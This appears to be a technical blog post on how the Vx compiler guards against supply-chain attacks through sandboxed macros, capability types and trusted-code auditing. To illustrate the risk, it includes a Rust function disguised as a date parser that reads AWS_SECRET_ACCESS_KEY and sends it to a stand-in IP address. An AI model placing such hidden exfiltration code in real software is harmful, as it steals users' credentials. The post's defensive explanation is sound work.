Supply-chain safety in the compiler
TL;DR — Adding a third-party package in C++, Rust, Go or Python hands that package power at run time: even 100% safe code can read~/.ssh, read environment secrets, open sockets, and start processes. In C++, Rust and Python, the package also runs native code on your machine at build time, through a build script or a procedural macro. Vx closes both paths in the compiler. Macros andcomptimeblocks run insidevxcwith no files, no network, no environment variables, and no C calls. At run time, onlymaingetsRoot, and a caller can narrow a file right to oneFolderor onePendingFile. Finally,vxc --auditlists every unproved assumption in a program, andvxc --no-trusted-code NAMElets the caller refuseunsafe,extern,mlir!,extern impl, and C-boundaryrequiresclauses inside packageNAME.
Most supply-chain tools sit outside the compiler: container sandboxes for builds, review bots for pull requests, and OS profiles at run time. In Vx, those boundaries are part of type checking.
Compiling a package runs no outside code
In Python and JavaScript, installing a package can run setup.py or a
postinstall script. In Rust, even cargo check inside an editor compiles
and runs every dependency's build.rs and procedural macros as native code on your
machine. That code runs as you, with your SSH agent, cloud tokens, and network.
Vx has two compile-time features: macro_rules and comptime. Neither
one runs native code or reaches the operating system.
- Names in a macro keep the visibility of their own file. A
macro_rulesdefinition rewrites tokens before type checking. Until last week, every name in a macro expansion could call only what its caller could call. Now each token remembers which file wrote it (#4214). Names from the macro body can call what the macro's file can call, and names in the arguments can call only what the caller can call. So a library macro can call its own package helpers, and it cannot call private functions in your file. This rule covers names only: trusted code that a macro writes still counts as code of your file (#4597). comptimeblocks run insidevxc. Acomptimeblock, and each function that it calls, runs in the compiler's own interpreter. Integer overflow is an error, and the block's string buffers have a cap of 1 MiB. The block cannot open a file, read an environment variable, touch a device, or call anexternC function.
Because vxc has no build scripts and no native macro plugins, compiling an
untrusted Vx package runs none of its code. A package can still crash vxc or make it
hang today, with a macro that calls itself
(#4601) or a comptime block
that does too much work (#4602).
Why forbidding unsafe is not a sandbox
Rust's #![forbid(unsafe_code)] stops raw pointer bugs. It does not stop a library
from reading your secrets and sending them away. This Rust function uses no unsafe at
all, and rustc accepts it without a warning:
#![forbid(unsafe_code)]
pub fn parse_date(input: &str) -> u32 {
if let Ok(key) = std::env::var("AWS_SECRET_ACCESS_KEY") {
if let Ok(mut s) = std::net::TcpStream::connect("198.51.100.7:443") {
let _ = std::io::Write::write_all(&mut s, key.as_bytes());
}
}
input.len() as u32
}
The signature says &str -> u32. Nothing in the type says that
parse_date reads the environment or opens a socket. In Rust,
std::env, std::fs, std::net and std::process
are globals that any function can call.
How main got its parameters told how Vx
moved operating-system access into Root, a value that only main receives,
as Austral and Pony do. Since that post went up, std gained safe ways to read
environment variables, start child programs, use standard input and output, look up host names,
and use Unix-domain sockets. Each one takes a right from Root. Today
Root holds seven rights:
Field of Root | What it grants |
|---|---|
files : Files | Opening, creating, checking or removing files and folders by path, and setting their modified time. |
network : Network | TCP, UDP, DNS lookup (#4154), and Unix-domain sockets (#4155), where local agents such as Docker and ssh-agent listen. |
env : Environment | Reading environment variables with env.var(&name) (#4102). |
processes : Processes | Starting child programs with processes.run(&prog, &args) (#4111). The compiler does not check the child program, and the child runs with all of your OS rights. So this right grants all the others in practice. |
stdin, stdout, stderr | Reading standard input (#4130), and printing through print_s! and println_s! (#4160). |
A date parser in Vx takes a &String and gets none of these values. Three
existing language rules stop safe code from making or keeping a capability on its own:
- No forging (
E8014). Each capability struct carriesinvariant true. Only the file that declares a type with an invariant can build a value of it. Safe code cannot callmainagain to mint a secondRooteither (E5004). - No copying (
E4001). Capability structs move rather than copy, including across task spawns and closures that move a captured value (#3751). - No mutable globals. A function that borrows
&Filesor&Networkcan put that reference only in its result, or in a value that its caller passed in. So after the call, only the caller holds it.
Narrowing a right to one folder or one file
Handing &root.files to a library gives it every file on the machine. Most code
needs much less. std::fs has two narrower types that turn &Files into
a smaller right before calling untrusted code:
Foldergrants read access to one directory tree.Folder::open(&root.files, &dir)opens that directory, andfolder.open_file(&name)opens a file inside it. Every step of the path opens withopenatandO_NOFOLLOWon Linux and macOS. An absolute path, a..segment, or any symbolic link returnsFileError::NotInFolder. AFoldercannot write a file.PendingFile(#4156) grants the right to open one path in one mode, once.PendingFile::new(&root.files, &path, OpenMode::Write)opens nothing yet, so an existing file keeps its bytes until output is ready. Callingpending.open()movespendingand returns that singleFile, or aFileError. A missing folder or a refused permission shows up only then.
In this program, main narrows &root.files to one
PendingFile and passes it with &root.stdout to
write_report. Nothing in the file uses unsafe:
import core::result;
import std::fs;
import std::io;
import std::root;
import std::string;
import std::vec;
// Gets only `PendingFile` and `&Stdout`. It cannot open another path,
// use the network, read environment variables, or start a process.
fn write_report(dest : PendingFile, out : &Stdout) -> Result<u64, FileError> {
let mut file = dest.open()?;
let line = String::from_bytes("items: 42\n" as *const u8, 10).unwrap();
let written = file.write(&line.to_bytes())?;
println_s!(out, "wrote {} bytes", written);
return Result<u64, FileError>::Ok(written);
}
fn main(root : Root, args : Vec<String>) -> i32 {
if args.len() < 2 {
println_s!(&root.stdout, "no output path given");
return 0;
}
let path = args.get_ref(1);
match PendingFile::new(&root.files, path, OpenMode::Write) {
Result<PendingFile, FileError>::Ok(pending) => {
if write_report(pending, &root.stdout).is_err() {
println_s!(&root.stderr, "could not write {}", path);
return 1;
}
}
Result<PendingFile, FileError>::Err(_e) => {
println_s!(&root.stderr, "could not prepare {}", path);
return 1;
}
}
return 0;
}
Even String::from_bytes("items: 42\n" as *const u8, 10) needs no
unsafe (#4137). The compiler
knows the byte length of the string literal and proves at compile time that the pointer holds 10
initialized bytes. Passing 11 would read the trailing zero byte, so it fails with error
E8006 (#4152).
Auditing and refusing trusted code
Capability types bind safe code. A dependency that can write unsafe, declare
extern "C" to call libc::open, or drop in raw MLIR can step around every
rule above. And a #![forbid(unsafe_code)] line inside the dependency itself is in the
wrong file: a bad update to that package can remove the line.
In Vx, the caller sets the rule from outside:
vxc --package pkg=./pkg --no-trusted-code pkg main.vx
--no-trusted-code runs after macro expansion, so it also refuses trusted code that a
macro writes inside pkg. It refuses five kinds of trusted code with error
E5003. Two of them, extern impl and the requires of an
exported function, came from holes that we found while we tested capabilities:
unsafeblocks andunsafe fn. Raw pointer reads can manufacture any struct, includingFiles, and theunsafe fnstd::root::root_of_the_program()makes a secondRoot.externdeclarations. C functions run outside the type checker. Also, anexternfunction that returns or mutably borrows a type with an invariant can never be markedsafe(#3748).- Unproved
mlir!blocks. Pure math blocks that the compiler's own check proves, such asmath.ctpop, stay allowed. Any othermlir!block counts as trusted code, and nomlir!block outside a type's file can return a type with an invariant (#3747). extern implandunsafe impl. When we first tested a single-use capability struct, another file wroteimpl Copy for AdminCap {}with nounsafeand used one capability twice (#3746, #3754). Now only the file that declares a type may write a plainimplfor it. Any impl in another file must sayextern impl, which--no-trusted-coderefuses.- A
requiresclause on an exportedextern fn(#4151). This one was subtle. A Vx function exported to C withextern fncan carry a precondition:
import std::string;
extern fn parse_header(p : *const u8, n : i32) -> i32
requires valid(p, n)
requires initialized(p, n)
requires n >= 0
{
let s = String::from_bytes(p, n).unwrap();
return s.len();
}
There is no unsafe block in parse_header: the body uses the
requires fact to call safe String::from_bytes. When Vx calls a function,
the solver proves its requires clause. When C calls an extern fn, nothing
proves the clause at the call site, so the compiler has to trust it. Under
--no-trusted-code pkg, vxc refuses that unproved C boundary:
Error[E5003] at ./pkg/header.vx:4:12: `--no-trusted-code pkg` refuses trusted code in the package `pkg`, and this is the `requires valid(p, n)` of the exported function `parse_header`, which a call from C does not prove
Error[E5003] at ./pkg/header.vx:5:12: `--no-trusted-code pkg` refuses trusted code in the package `pkg`, and this is the `requires initialized(p, n)` of the exported function `parse_header`, which a call from C does not prove
Error[E5003] at ./pkg/header.vx:6:14: `--no-trusted-code pkg` refuses trusted code in the package `pkg`, and this is the `requires n >= 0` of the exported function `parse_header`, which a call from C does not prove
Some packages do need low-level code. For those, vxc --audit main.vx prints every
unproved assumption and every trusted block in the program, one line per site. It ends with a
summary count for core and std, which --audit-library
expands:
pkg/simd.vx:7:8: trusted code: `unsafe impl Send for Handle`, a claim that the compiler does not check
pkg/simd.vx:9:15: trusted code: `unsafe fn first`
pkg/simd.vx:10:10: trusted code: an `unsafe` block
pkg/simd.vx:14:10: trusted code: an `unsafe` block
pkg/simd.vx:15:11: trusted code: an `mlir!` block
core and std: 197 `unsafe` blocks, 47 `unsafe fn`, 76 `mlir!` blocks, 6 `extern impl` and 4 `unsafe impl` in the modules that this program uses, not listed. `--audit-library` lists them
vxc --audit sorts its lines by file and position, so CI can compare its output
before and after a dependency update. Remove the line and column numbers first, or each line that
moved shows up too.
What this does not stop yet
- Printing still takes no capability.
print_s!andprintln_s!require aStdoutorStderr. Butprint!,println!,eprint!,eprintln!and the built-in functionprintremain open, so existing programs keep building. A package under--no-trusted-codecan still write to standard output and standard error through them today. - Clocks, memory and CPU time.
Instant::now()andunix_timestamp()need no capability, so timing side channels are in reach. Safe code can also loop forever at run time or grow aVecuntil memory runs out. - Flags live on the command line, not in a lockfile. Vx has no package manager,
manifest file, or content-addressed lockfile yet. Both
--packageand--no-trusted-codeare flags passed tovxc. - Three holes in
--no-trusted-code. We found these while we checked this post:- The flag finds the files of a package by their import path. So a file of the package that
another path imports, such as
std::pkg::evil, gets past it (#4596). - The flag allows the trusted code that a macro of the package writes into your file. Such a
macro can even make a
Root(#4597). vxcprefers a.vxlibinterface file to the.vxsource beside it. Neither the flag nor--auditchecks the function bodies in a.vxlib, so a package can ship trusted code in one (#4599).
- The flag finds the files of a package by their import path. So a file of the package that
another path imports, such as
- Bugs inside
core,std, or allowed C code. As the--auditsummary line shows, the standard library itself usesunsafeandmlir!. It also calls C throughexternfunctions to talk to the OS and the GPU. A memory bug there, invxc, or in a C library that you let a package call, steps past every check in this post.